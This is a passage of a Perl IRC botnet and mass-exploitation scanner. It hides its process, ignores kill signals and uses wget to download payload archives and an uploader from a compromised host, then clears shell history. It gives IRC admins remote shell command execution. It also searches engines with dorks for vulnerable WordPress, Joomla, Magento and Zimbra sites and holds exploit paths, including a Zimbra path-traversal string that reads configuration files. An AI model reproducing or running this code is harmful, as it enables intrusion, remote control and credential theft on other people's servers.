#"http://arsenal-vk.kz/includes/js/dtree/img/error.php".$jpath; my $jack24 = "http://scenatodziwna.home.pl/estede/administrator//components/com_contact/tables/index.php?q="; #"http://www.sidme.com.mx/web2/libraries/joomla/template/module/function/error.php".$jpath; my $jack25 = "www.rorate.com/vnieuws/components/com_media/helpers/index.php?q="; #"http://www.cdhood.co.uk//images/wp-includes/error.php".$jpath; my $jack26 = "www.rorate.com/vnieuws/components/com_media/helpers/index.php?q="; #"http://www.remont-rzn.ru//modules/mod_k2_tools/includes/error.php".$jpath; my $jack27 = "".$fullmagic27."?____pgfa=https%3A%2F%2Fwww.google.com.br%2Fsearch?q="; my $jack28 = "".$fullmagic28."?____pgfa=https%3A%2F%2Fwww.google.com.br%2Fsearch?q="; my $jack29 = "".$fullmagic29."?____pgfa=https%3A%2F%2Fwww.google.com.br%2Fsearch?q="; my $jack30 = "".$fullmagic30."?____pgfa=https%3A%2F%2Fwww.google.com.br%2Fsearch?q="; my $engine = "GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,gibla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz"; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; chop (my $priper = `wget http://egliseshautealsace.free.fr/haut-rhin/components/com_phocagallery/helpers/revslider.zip;cp revslider.zip revslider.zip;cp revslider.zip editor10.zip;cp revslider.zip showbiz.zip;cp showbiz.zip kbslider.zip;wget http://egliseshautealsace.free.fr/haut-rhin/components/com_phocagallery/helpers/search.zip;wget http://egliseshautealsace.free.fr/haut-rhin/components/com_phocagallery/helpers/up.php.j.txt; mv up.php.j.txt up.php.j;chmod 777 *.php.j;chmod 777 *.zip ;killall -9 sh;history -c`); $ircserver = "$ARGV[0]" if $ARGV[0]; $ircport = "$ARGV[1]" if $ARGV[1]; $nickname = "$ARGV[2]" if $ARGV[2]; $channel = '#'."$ARGV[3]" if $ARGV[3]; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick("$mynick"); sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname"); sleep(1);}} sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick($mynick."[".int rand(1)."]"); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; sendraw("MODE $mynick +Bx"); sendraw("NS id qwe123"); sleep(3); sendraw("JOIN $channel correct"); sendraw("JOIN $chanxxx mejen"); sleep(1); sendraw("PRIVMSG $channel :9,1[4@9]11 revslider! scanner V1.1 9,1[4@9] -> viva r@Crew [4@9]"); sendraw("PRIVMSG $admin :Hi $admin im here !!!"); } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); } select(undef, undef, undef, 0.01); delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//; if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); if ($path eq $mynick) { if ($msg =~ /^PING (.*)/) { sendraw("NOTICE $nick :PING $1"); } if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey"); } if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime.""); } if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!jo \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1); } if (&isAdmin($nick) && $msg =~ /^!pid/) { sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$"); } if (&isAdmin($nick) && $msg !~ /^!/) { &shell("$nick","$msg"); } if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) { sendraw("$rawmsg $msgraw ".$1); } if (&isAdmin($nick) && $msg =~ /^!say (.+)/) { sendraw("PRIVMSG $rawmsg ".$1); } if (&isAdmin($nick) && $msg =~ /^!act (.+)/) { sendraw("PRIVMSG $rawmsg :ACTION ".$1.""); } if (&isAdmin($nick) && $msg =~ /^!chtcmd\s+(.*) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $newthumbcmd = $1; $thumbcmd = $newthumbcmd; &msg("$admin","$thumblogo9 Scan Command change to4 $thumbcmd "); } } } if (&isAdmin($nick) && $msg =~ /^!chzcmd\s+(.*) -d/) { $newzerocmd = $1; $zerocmd = $newzerocmd; &msg("$admin","$zerologo9 Scan Command change to4 $zerocmd "); } if (&isAdmin($nick) && $msg =~ /^!chwcmd\s+(.*) -d/) { $newwhmcscmd = $1; $whmcscmd = $newwhmcscmd; &msg("$admin","$whmcslogo9 Scan Command change to4 $whmcscmd "); } if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) { $newtimot = $1; $timot = $newtimot; &msg("$admin","9,1 Get Content TimeOut change to4 $timot "); } if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $newchan = $1; $chanxxx = $newchan; &msg("$admin","9,1 xChan change to4 $chanxxx "); } } } } else { if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!modarkabeh") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!jo \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg eq "!part") { sendraw("PART $path"); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) { &shell("$path","$1"); } if ($msg=~ /^!silent\s+(.*) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $smod = $1; if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; } elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; } &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!"); } } } if ($msg=~ /^!Goox\s+(.*) -d/) { $engmod = $1; if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; } elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; } &msg("$path","9,1[4!9]Goo Engine15 $gpsstat !!!!"); } if ($msg=~ /^!engine\s+(.*) -d/) { $engmod = $1; if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; } elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; } &msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!"); } if (&isAdmin($nick) && $msg =~ /^!injector\s+(.*) -d/) { $newhostinjector= $1; $hostinjector = $newhostinjector; &msg("$path","9,1[4!9]Injector 15change to4 $hostinjector "); } ##################################################################### HELP COMMAND if ($msg=~ /^$helpcmd/) { my $helplogo = "14HELP "; &msg("$path","$helplogo4Wordpress timtumb Vuln Scan:12 $timcmd 14[dork] "); &msg("$path","$helplogo4Wordpress revslider Vuln Scan:12 $wpcmd 14[dork] "); &msg("$path","$helplogo4Wordpress multiupload Vuln Scan versi 1:12 $amu 14[dork] "); &msg("$path","$helplogo4Wordpress multiupload Vuln Scan versi 2:12 $amu2 14[dork] "); #&msg("$path","$helplogo4Wordpress woopra plugins Vuln Scan:12 $woopra 14[dork] "); #&msg("$path","$helplogo4Wordpress wp-slimstat-ex plugins Vuln Scan:12 $slimcmd 14[dork] "); #&msg("$path","$helplogo4Wordpress seo-watcher plugins Vuln Scan:12 $seocmd 14[dork] "); &msg("$path","$helplogo4Wordpress event calendar plugins Vuln Scan:12 $wpeventcmd 14[dork] "); &msg("$path","$helplogo4Wordpress Docman Vuln Scan:12 $wpeventcmd 14[dork] "); #&msg("$path","$helplogo4Joomla hd player Vuln Scan:12 $hdcmd 14[dork] "); #&msg("$path","$helplogo4Joomla jdownload Vuln Scan:12 $jdcmd 14[dork] "); #&msg("$path","$helplogo4Joomla civicrm administrator Vuln Scan:12 $civicrmcmd 14[dork] "); #&msg("$path","$helplogo4Joomla acymailing administrator Vuln Scan:12 $acymailing 14[dork] "); #&msg("$path","$helplogo4Joomla acymailing components Vuln Scan:12 $acymailing2 14[dork] "); #&msg("$path","$helplogo4Joomla jinc administrator Vuln Scan:12 $jinc 14[dork] "); #&msg("$path","$helplogo4Joomla com_jinc Vuln Scan:12 $jinc2 14[dork] "); #&msg("$path","$helplogo4Joomla com_maianmedia administrator Vuln Scan:12 $maianmedia 14[dork] "); #&msg("$path","$helplogo4Joomla com_maianmedia Vuln Scan:12 $maianmedia2 14[dork] "); #&msg("$path","$helplogo4Joomla com_joomleague Vuln Scan:12 $joomleague 14[dork] "); #&msg("$path","$helplogo4Joomla com_joomleague administrator Vuln Scan:12 $joomleague 14[dork] "); #&msg("$path","$helplogo4Joomla jce Vuln Scan versi 1:12 $jcecmd 14[bug] [dork] "); #&msg("$path","$helplogo4Joomla jce Vuln Scan versi 2:12 $jccmd 14[dork] "); #&msg("$path","$helplogo4Joomla components civicrm Vuln Scan:12 $civicrm 14[dork] "); &msg("$path","$helplogo4Magento Vuln Scan versi 1:12 $mgcmd 14[dork] "); &msg("$path","$helplogo4Magento Vuln Scan versi 2:12 $mgcmd2 14[dork] "); &msg("$path","$helplogo4Magento xmlrpc Vuln Scan:12 $magentocmd 14[dork] "); #&msg("$path","$helplogo4WHMcs Vuln Scan:12 $whmcmd 14[dork] "); &msg("$path","$helplogo4Uploadify Vuln Scan:12 $updfy 14[dork] "); &msg("$path","$helplogo4Zimbra Vuln Scan versi 1:12 $zimbracmd 14[dork] "); &msg("$path","$helplogo4Zimbra Vuln Scan versi 2:12 $zimbraup 14[dork] "); #&msg("$path","$helplogo4All site civicrm Vuln Scan:12 $civic 14[dork] "); #&msg("$path","$helplogo4Oscomerce:12 $oscocmd 14[dork] "); #&msg("$path","$helplogo4Cebong Exploit:12 $cebongcmd 14[dork] "); } if (&isAdmin($nick) && $msg =~ /^!pid/) { &msg("$nick","6Fake Process/PID : $fakeproc - $$"); } if ($msg=~ /^!respon/ || $msg=~ /^!id/) { if (&isFound($thumbid,"GIF89a")) { &msg("$path","9,1[4!9]Injector 4<9=4>9 Sipp mas bro!!! "); } else { &msg("$path","9,1[4!9]Injector 4<9=4>15 gak fit!!! "); } } if ($msg=~/^!pass/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = ""; my $cekby1 = &get_content($Goo1.".::"); if ($cekby1 =~ /.::/i){ $bystats1 = "9Aktif!!!"; } else { $bystats1 = "4Tidak aktif!!!"; } my $cekby2 = &get_content($Goo2.".::"); if ($cekby2 =~ /.::/i){ $bystats2 = "9Aktif!!!"; } else { $bystats2 = "4Tidak aktif!!!"; } my $cekby3 = &get_content($Goo3.".::"); if ($cekby3 =~ /.::/i){ $bystats3 = "9Aktif!!!"; } else { $bystats3 = "4Tidak aktif!!!"; } my $cekby4 = &get_content($Goo4.".::"); if ($cekby4 =~ /.::/i){ $bystats4 = "9Aktif!!!"; } else { $bystats4 = "4Tidak aktif!!!"; } my $cekby5 = &get_content($Goo5.".::"); if ($cekby5 =~ /.::/i){ $bystats5 = "9Aktif!!!"; } else { $bystats5 = "4Tidak aktif!!!"; } my $cekby6 = &get_content($Goo6.".::"); if ($cekby6 =~ /.::/i){ $bystats6 = "9Aktif!!!"; } else { $bystats6 = "4Tidak aktif!!!"; } my $cekby7 = &get_content($Goo7.".::"); if ($cekby7 =~ /.::/i){ $bystats7 = "9Aktif!!!"; } else { $bystats7 = "4Tidak aktif!!!"; } my $cekby8 = &get_content($Goo8.".::"); if ($cekby8 =~ /.::/i){ $bystats8 = "9Aktif!!!"; } else { $bystats8 = "4Tidak aktif!!!"; } my $cekby9 = &get_content($Goo9.".::"); if ($cekby9 =~ /.::/i){ $bystats9 = "9Aktif!!!"; } else { $bystats9 = "4Tidak aktif!!!"; } my $cekby10 = &get_content($Goo10.".::"); if ($cekby10 =~ /.::/i){ $bystats10 = "9Aktif!!!"; } else { $bystats10 = "4Tidak aktif!!!"; } &msg("$path","9,1[4!9]Bypass 4<9=4>15 Goo1=$bystats1 15Goo2=$bystats2 15Goo3=$bystats3 15Goo4=$bystats4 15Goo5=$bystats5") &msg("$path","9,1[4!9]Bypass 4<9=4>15 Goo1=$bystats6 15Goo2=$bystats7 15Goo3=$bystats8 15Goo4=$bystats9 15Goo5=$bystats10") }}} ##################################################################### SCAN if ($msg =~ /!cari\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $find = $1; &msg($path,"$carilogo9 Searching 15$find "); &cari($path,$find); } exit; } } if ($msg =~ /^$timcmd\s+(.*)/) {# if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,1,$nick); } } } # if ($msg =~ /^$tim\s+(.*?)\s+(.*)/) { # if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { # my ($bug,$dork) = ($1,$2); # my $simpan = 'sess_situs.txt'; # #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); # &msg("$path","9Bug 4<9=4>15 $bug "); # &msg("$path","9Dork 4<9=4>15 $dork "); # &msg("$path","9Search Engine 4<9=4>15 Loading "); # &se_start($path,$bug,$simpan,$dork,$engine,2,$nick); # } # } # } if ($msg =~ /^$wpcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/wp-admin/admin-ajax.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,3,$nick); } } } if ($msg =~ /^$hdcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/components/com_hdflvplayer/hdflvplayer/download.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,4,$nick); } } } if ($msg =~ /^$jdcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,5,$nick); } } } if ($msg =~ /^$jcecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,6,$nick); } } } if ($msg =~ /^$jccmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,12,$nick); } } } if ($msg =~ /^$mgcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/app/etc/local.xml",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,7,$nick); } } } if ($msg =~ /^$whmcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/cart.php?a=byroe&templatefile=",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,8,$nick); } } } if ($msg =~ /^$mgcmd2\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("Logo Design by dewi",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,9,$nick); } } } if ($msg =~ /^$amcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 rivate Conversation Scanner v1 "); &se_start($path,$bug,$simpan,$dork,$engine,10,$nick); } } } if ($msg =~ /^$amcmd2\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/wp-content/plugins/wordpress-member-private-conversation/doupload.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Private Conversation Scanner v2 "); &se_start($path,$bug,$simpan,$dork,$engine,11,$nick); } } } if ($msg =~ /^$updfy\s+(.*?)\s+(.*)\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork,$ary) = ($1,$2,$3); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Bug 4<9=4>15 $bug "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Array 4<9=4>15 $ary "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,13,$nick); } } } if ($msg =~ /^$magentocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("index.php/api/xmlrpc",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,14,$nick); } } } if ($msg =~ /^$zimbracmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/zimbraAdmin/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,15,$nick); } } } if ($msg =~ /^$zimbraup\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/zimbraAdmin/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,16,$nick); } } } if ($msg =~ /^$woopra\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,17,$nick); } } } if ($msg =~ /^$slimcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/wp-content/plugins/wp-slimstat-ex/lib/ofc/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,18,$nick); } } } if ($msg =~ /^$seocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/seo-watcher/ofc/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,19,$nick); } } } if ($msg =~ /^$acymailing\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,21,$nick); } } } if ($msg =~ /^$acymailing2\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,22,$nick); } } } if ($msg =~ /^$jinc\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 